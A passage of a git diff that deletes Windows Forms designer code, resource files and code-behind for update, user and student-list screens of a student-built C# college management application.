this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(612, 131); - this.tableLayoutPanel3.TabIndex = 2; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(244, 49); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(123, 32); - this.label2.TabIndex = 0; - this.label2.Text = "Teacher "; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(176, 131); - this.tableLayoutPanel2.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(32, 53); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(112, 24); - this.label1.TabIndex = 1; - this.label1.Text = "DashBoard"; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.button1, 0, 0); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 140); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 1; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(176, 307); - this.tableLayoutPanel4.TabIndex = 3; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.dataGV, 0, 0); - this.tableLayoutPanel5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel5.Location = new System.Drawing.Point(185, 140); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 1; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(612, 307); - this.tableLayoutPanel5.TabIndex = 4; - // - // dataGV - // - this.dataGV.AllowUserToAddRows = false; - this.dataGV.BackgroundColor = System.Drawing.Color.White; - this.dataGV.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.dataGV.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Edit}); - this.dataGV.Dock = System.Windows.Forms.DockStyle.Fill; - this.dataGV.GridColor = System.Drawing.Color.White; - this.dataGV.Location = new System.Drawing.Point(3, 3); - this.dataGV.Name = "dataGV"; - this.dataGV.RowHeadersWidth = 62; - this.dataGV.RowTemplate.Height = 28; - this.dataGV.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; - this.dataGV.ShowEditingIcon = false; - this.dataGV.Size = new System.Drawing.Size(606, 301); - this.dataGV.TabIndex = 1; - this.dataGV.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGV_CellContentClick); - // - // Edit - // - this.Edit.HeaderText = "Edit"; - this.Edit.MinimumWidth = 8; - this.Edit.Name = "Edit"; - this.Edit.Text = "Edit"; - this.Edit.UseColumnTextForButtonValue = true; - this.Edit.Width = 150; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Green; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(41, 87); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(94, 133); - this.button1.TabIndex = 0; - this.button1.Text = "Back To Menu"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // UpdateRecordForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "UpdateRecordForm"; - this.Text = "UpdateRecordForm"; - this.Load += new System.EventHandler(this.UpdateRecordForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel5.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.dataGV)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - public System.Windows.Forms.DataGridView dataGV; - private System.Windows.Forms.DataGridViewButtonColumn Edit; - private System.Windows.Forms.Button button1; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/UpdateRecordForm.cs b/Add Code Here/C#/CMS/UpdateRecordForm.cs deleted file mode 100644 index bfc553b9037..00000000000 --- a/Add Code Here/C#/CMS/UpdateRecordForm.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class UpdateRecordForm : Form - { - public UpdateRecordForm() - { - InitializeComponent(); - } - - private void dataGV_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - STUDENTBL user = (STUDENTBL)dataGV.CurrentRow.DataBoundItem; - if (dataGV.Columns["Edit"].Index == e.ColumnIndex) - { - EditUserForm myform = new EditUserForm(user); - myform.ShowDialog(); - STUDENTDL.addStudentDataIntoFile("Student.txt"); - dataBind(); - } - } - - public void dataBind() - { - dataGV.DataSource = null; - dataGV.DataSource = STUDENTDL.StudentList1; - dataGV.Refresh(); - } - - private void UpdateRecordForm_Load(object sender, EventArgs e) - { - dataGV.DataSource = STUDENTDL.StudentList1; // introspection - } - - private void button1_Click(object sender, EventArgs e) - { - TeacherMenu menu = new TeacherMenu(); - this.Hide(); - menu.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/UpdateRecordForm.resx b/Add Code Here/C#/CMS/UpdateRecordForm.resx deleted file mode 100644 index 1ebf21a78c7..00000000000 --- a/Add Code Here/C#/CMS/UpdateRecordForm.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - True - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/UsersForm.Designer.cs b/Add Code Here/C#/CMS/UsersForm.Designer.cs deleted file mode 100644 index 6c601810f0e..00000000000 --- a/Add Code Here/C#/CMS/UsersForm.Designer.cs +++ /dev/null @@ -1,226 +0,0 @@ - -namespace CMS -{ - partial class UsersForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label5 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label3 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 24.875F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 75.125F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 29.77778F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 70.22222F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1743, 683); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(436, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1304, 197); - this.tableLayoutPanel2.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(603, 79); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(98, 39); - this.label1.TabIndex = 0; - this.label1.Text = "Users"; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.images__1_; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(427, 197); - this.pictureBox1.TabIndex = 1; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label5, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.label4, 0, 0); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(436, 206); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 2; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(1304, 474); - this.tableLayoutPanel4.TabIndex = 2; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.Green; - this.label5.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.Location = new System.Drawing.Point(594, 339); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(115, 32); - this.label5.TabIndex = 2; - this.label5.Text = "Student"; - this.label5.Click += new System.EventHandler(this.label5_Click); - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.Green; - this.label4.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.Location = new System.Drawing.Point(594, 102); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(116, 32); - this.label4.TabIndex = 1; - this.label4.Text = "Teacher"; - this.label4.Click += new System.EventHandler(this.label4_Click); - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 206); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 3; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(427, 474); - this.tableLayoutPanel3.TabIndex = 2; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Red; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(181, 324); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(64, 32); - this.label3.TabIndex = 1; - this.label3.Text = "Exit"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(175, 97); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(77, 32); - this.label2.TabIndex = 0; - this.label2.Text = "Back"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // UsersForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1743, 683); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "UsersForm"; - this.Text = "UsersForm"; - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label4; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/UsersForm.cs b/Add Code Here/C#/CMS/UsersForm.cs deleted file mode 100644 index f9e06434d9b..00000000000 --- a/Add Code Here/C#/CMS/UsersForm.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace CMS -{ - public partial class UsersForm : Form - { - public UsersForm() - { - InitializeComponent(); - } - - private void label3_Click(object sender, EventArgs e) - { - Environment.Exit(0); - } - - private void label4_Click(object sender, EventArgs e) - { - - } - - private void label5_Click(object sender, EventArgs e) - { - this.Hide(); - StudentLoginForm login = new StudentLoginForm(); - login.Show(); - } - - private void label2_Click(object sender, EventArgs e) - { - Form1 mainpage = new Form1(); - this.Hide(); - mainpage.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/UsersForm.resx b/Add Code Here/C#/CMS/UsersForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/UsersForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ViewAllStudent.Designer.cs b/Add Code Here/C#/CMS/ViewAllStudent.Designer.cs deleted file mode 100644 index 2c507f875bc..00000000000 --- a/Add Code Here/C#/CMS/ViewAllStudent.Designer.cs +++ /dev/null @@ -1,212 +0,0 @@ - -namespace CMS -{ - partial class ViewAllStudent - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.studentGV = new System.Windows.Forms.DataGridView(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.studentGV)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 15.125F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 84.875F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 19.11111F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 80.88889F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(800, 450); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.Location = new System.Drawing.Point(124, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(673, 79); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(257, 28); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(159, 23); - this.label1.TabIndex = 2; - this.label1.Text = "All Student Data"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.LightSkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 88); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(115, 359); - this.tableLayoutPanel3.TabIndex = 2; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(5, 70); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(104, 38); - this.label2.TabIndex = 3; - this.label2.Text = "Back To View Form"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.White; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(3, 250); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(108, 38); - this.label3.TabIndex = 4; - this.label3.Text = "Back To Home Page"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.studentGV, 0, 0); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(124, 88); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 1; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - 